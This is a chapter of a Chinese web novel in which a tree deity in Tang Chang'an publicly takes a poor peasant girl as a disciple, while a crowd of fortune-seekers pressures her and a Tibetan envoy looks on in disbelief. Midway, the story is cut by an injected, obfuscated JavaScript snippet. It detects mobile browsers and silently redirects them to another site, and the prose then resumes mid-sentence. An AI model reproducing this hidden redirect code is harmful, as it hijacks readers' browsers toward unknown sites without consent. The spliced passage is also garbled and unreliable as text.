19.唐玄宗李隆基19
作品:《我靠透露心声兜售三无产品》 桑布回头望去,只见唐朝君臣的脸上,一副见怪不怪的模样。
他心中的激动渐渐退却,理智重新占据上风。
这神迹,说不定是唐朝搞的鬼把式,所谓的净化心灵,不过是自己的心理作用。唐国一定是想要以此达成什么政治目的,自己一定要冷静,绝不能让唐人得逞。
眼前的画面一变,只见神树出现在一个粗陋狭小的小院中。
桑布与随行人员交换了眼神,急步走出兴庆宫,一出皇宫,就立刻让人去找那处民宅,找到之后,立刻往那个方向而去。
“统儿,观众们的表现怎么样?”
她要收徒,还要让人知道她收了个徒弟,好给徒弟送礼。这么重大的事情,可不能藏着掖着,必须得面向全长安,广而告之。
面前这个小女孩,不知年龄,瘦得像根棍儿,就是寿椿龄走访长安大街小巷,为自己找出来的天选徒弟。
懂事、聪明、能干,全身上下一股子争强好胜的劲劲儿。最重要的是,一口蛀牙,非常完美。
“主人放心,观众表现符合预期,所有人都在讨论神树这次显圣的有缘人是谁。”
“行,给我徒弟上特写。”
“明白!”
长安城所有人的脑海中直接出现了杨二丫的形象,三百六十度无死角环绕式立体影像。
杨二丫呆呆站在院中,怯怯地看着神树。神树每一次出现,都是因为有缘人,这次的有缘人,会是自己吗?可是,她家里别说是一金,连一个铜板都拿不出来。
想到这里,杨二丫攥紧拳头,灰扑扑的小脸紧绷着。
杨二丫的父母正在田里忙活,神树出现在他们二女儿面前时,两人呆滞一会儿,就立刻撒开丫子往族里跑,这么久以来,神树的规矩大家都摸清了,他们要去族里筹钱,整个杨氏宗族立刻同心协力地动了起来。
黄老爷与杨二丫家仅有一街之隔,但是家境却有天壤之别。一打听到神树就在隔壁街,便立刻叫家中下人备金套车,准备去杨二丫家里截胡。
毕竟,这可是有前例可循的。
之前就曾有一个有缘人,因为没有一金,神器被他的邻居截胡了。
与黄老爷一样想法的人比比皆是,一时间,整个长安城都动了起来,以杨二丫家为中心,迅速靠拢。
寿椿龄还不知道杨氏宗族已经开始筹金,如果知道,她绝对不会大费周章来全城直播。
“杨二丫,你天生木灵根,与吾有一世师徒之缘,可愿拜吾为师?”
杨二丫猛地瞪大双眼,不是要卖神器给她,是要收徒?!
此话一出,整个长安都为之一静。
什么!
神树要收徒!!!
杨氏宗族的老族长听到这话,正要递给杨二丫父母的黄金啪嗒一声掉在地上。乖乖!拜一个神仙为师,他们老杨家的祖坟冒青烟了!
黄老爷猛地坐起身,脑袋哐一声撞在车厢顶上,又被反震的力量弹得跌坐在地,怀里抱着金块欲哭无泪:“怎么是要收徒?怎么是要收徒?!”
兴庆宫的人死死盯着杨二丫的脸,想要从这张毫无特点的脸上看出花来,眼睛都快瞪出血来,也没看出这小姑娘到底有什么特别之处,值得神树这样另眼相看。
这可是第一次,神树第一次收徒。
为什么那个有师徒之缘的人不是我!
此时此刻,全长安人的心里产生了共鸣。
杨二丫扑通一声跪倒在地,对着神树拼命磕头,“弟子拜见师尊,弟子拜见师尊……”
长安人看着这一幕,心里酸溜溜的,又嫉又羡。小鬼头,跪得倒是快!
寿椿龄:“你虽是寻常女娃,心性却清灵坚韧。杨姓从木旁,丫似草木分叉之形,与你木灵根相合。你为吾门中二代弟子,法名便叫仲岐吧。予你一日时间,与家人亲朋相送告别。明日此时,吾来接你。”
长安的有钱人都听见了吧?想跟神树的徒弟交好的,你们有一天时间。留下这句话,寿椿龄隐身呆在杨家小院的角落中,等着明天的到来。
“弟子谨遵师命。”杨仲岐激动地拜服在地,许久不曾起身。
直到杨氏宗族的人匆匆赶来,将杨家围了个水泄不通。
大家像看景致一样,绕着圈地打量这个平时不放在眼里的小丫头,忍不住啧啧称奇。
老族长当场在族谱中记下这件大事,开元二十九年腊月十八,女郎杨氏二丫得天神授,被扶桑神树亲自收为弟子,为祂门下二代弟子,得赐法名:仲岐。
“族长,明天神树还会来,俺们要准备些啥?”杨二丫的父母都是老实巴交的农民,虽然有心想为闺女长脸,但迫于见识有限,此时也只能忐忑不安,搓着手向族老们求助。
老族长捋着胡须,“神树虽是上古神灵,见多识广,但我们身为仲岐的家人,该有的礼数万万不能够少。凡间拜师所需的文书、束脩、随礼、信物、服饰、宴席,都要样样俱全。这拜师的礼仪……”
老族长看向杨二丫,杨二丫恭恭敬敬地听着,她知道,这一刻,杨家这些人都是为她好。
“仲岐定要好生学习,神树面前,万万不能失了礼数。神树可以不在意,但你作为弟子,一定不能有失。”
“是!我一定苦学礼仪,还请族长费心为我请礼仪老师。”杨二丫郑重应下。
老族长点点头,接着道:“神树爱金,众所周知。我杨氏宗族共同出金……”咬了咬牙,老族长报出一个数字,“十两,以表敬意。”说完,打定主意回去就让族人献金,尤其是那些个家境豪富的,估计没人会愿意错过这个亲近神树、向祂示好的机会,这次就该这些人大出血一回了。
显然,想到这一点的不止一个。献金讨好真神,可比政治投献还让人疯狂。
毕竟,神灵手中漏出一点汤水,就够他们这些凡人消化的了。
所以,一开始准备截胡的人立刻换了一副嘴脸和说辞,继续进军杨家,舔着脸求见杨二丫。
有些不要脸的,根本不顾阻拦,直接挤进杨家窄小简陋的房门,扑通一声跪在小小的杨二丫面前,举着黄金,口称“师父”。
寿椿龄站在角落,目瞪口呆的看着这一幕,那跪着的中年人大腹便便,看起来跟杨二丫她爹的年纪差不多。
这人一跪,像是启动了什么开关,院子里的人呼呼啦啦跪了一地,对着杨二丫使劲磕头,“师父,请收了我们吧。弟子愿意追随师父,苦心钻研修炼。”
没办法拜师神树,这不就是现成的曲线救国的机会。
当不了神树的徒弟,就当神树的徒孙。
他们就不信了,一个毛都没长齐的小丫头,能受得住这么多人的哭求。
“求仙子收了我们吧!”
“呜呜呜呜——这辈子,能成为仙子的徒弟,我死而无憾啊!”
“仙子若不收我,我活着也没意思了,我去死,我这就去死!你们都别拦我……”
一开始,杨二丫扶完这个拉那个,劝了这个劝那个,忙得不可开交。
结果,听着眼前这些人越说越不像话,杨二丫停住手,眼睛黑沉沉地盯着地上黑压压的人头,尤其是那几个要一头撞死在面前的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17152897|195788||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人。
她最讨厌一哭二闹三上吊的人,平日里好不容易得点好吃的,弟弟和妹妹就喜欢这样威胁她,不给就躺在地上撒泼打滚,害得她被父母责打。现在看着面前这些人,就像看着讨厌的弟妹一样。
二丫抬起手,敲了敲身旁的桌角,“谁想死的?来,往这里撞。”
寿椿龄的树枝挤在人墙之中,听见二丫的话,笑得树枝乱颤。这些人竟然想道德绑架,看来是没见过二丫下黑手暴揍熊孩子,真以为自己精心挑选的徒弟是个面人,能随意搓扁揉圆啊!
杨家拥挤的客厅静了一瞬,立刻爆发出更大的哭喊。
“神树慈悲仁爱,你是祂的徒弟,怎可坠了神树名声?”
“就是啊,神树知道你要逼我们这些良善人去死么?这样的狠毒,怎么配做真神的弟子。”
“为仙者当以慈悲为怀!”
“说得对啊!”
心怀叵测的人你一言我一语,逼得杨二丫脸色发白,她毕竟只是个不大的孩子,即使平时再有主意,此刻也怕自己的做法真的惹了神树不高兴,不再收自己为徒。
“神树啊——”
一声中气十足的洪亮嚎哭声骤然响起,杨二丫她娘一屁股坐在地上,拍着大腿嚎啕大哭:“您老人家才一走,这些人就要逼死俺们二丫啊!我闺女是神树的徒弟,她能不能收徒,不也要问问当师父的意见。各位贵人老爷行行好,俺家二丫才九岁,做不得这么大的主,今天,就让俺这个当娘的替她先死一步!”
哭完,蹭地站起来,往墙上撞去。
还好杨氏族人眼疾手快,挡在了墙壁前面,杨二丫她娘不顾阻拦,挣扎着还要往墙上碰,“让俺死!让俺去死!是俺这个当娘的没用,只能眼睁睁地看着一屋子老少爷们儿逼死俺闺女!”
整个客厅为之一静,杨母用魔法打败了魔法。
“娘——”几个孩子哭着围到杨母身边,哭得上气不接下气。
杨二丫眼珠子红得滴血,死死瞪着屋里跪着的人,“今天发生的事,明天师尊来时,我一定一五一十告诉师尊,若祂觉得我当真堕了祂的名声,要杀要剐,自有我师尊处置。若不然……”
剩下的话,杨二丫没说。
屋里的人却都听明白了,面面相觑地站起身,拍了拍膝头的尘土,笑眯眯地奉上金银,“我们对真神的敬仰之情如山高如海深,只是想成为神仙座下走狗,侍奉一二,绝无逼迫仙子之意啊。”
“是极是极!还望仙子海涵,我等来此,特意献上薄礼,庆贺仙子得真神看重,望笑纳。”
几个逼迫的主力军舔着一张笑脸,仿佛刚才的逼迫是幻觉。
桑布挤在人群的角落,目睹整个事件的全过程,世界观受到了全方位的冲击,此时,他的身体摇摇欲坠。
隐身的寿椿龄正好站在他身旁,看着眼前男人脸蛋上两坨高原红,一副弱柳扶风要倒不倒的样子,正想伸出树枝暗中扶一扶他。
就听他嘴里嘀嘀咕咕,“不可能!不可能!圣树怎么可能抛弃大蕃,降临唐国。一定是唐人的把戏,奸诈的唐人,他们要合起伙来蒙骗我大蕃……一定是这样。”
原来是吐蕃人啊!
寿椿龄收回树枝,看着桑布脚下一个踉跄,下意识地凭空抓去,自己的一根树枝被他抓在了手里。
桑布借着树枝之力,站直了身体。
寿椿龄心中闪过恶趣味,将隐身状态设置成只对桑布可见。
桑布看着眼前猝然显现的神树,再看看四周毫无反应的人群,忍不住闭上了眼睛。
“果然是幻觉!”

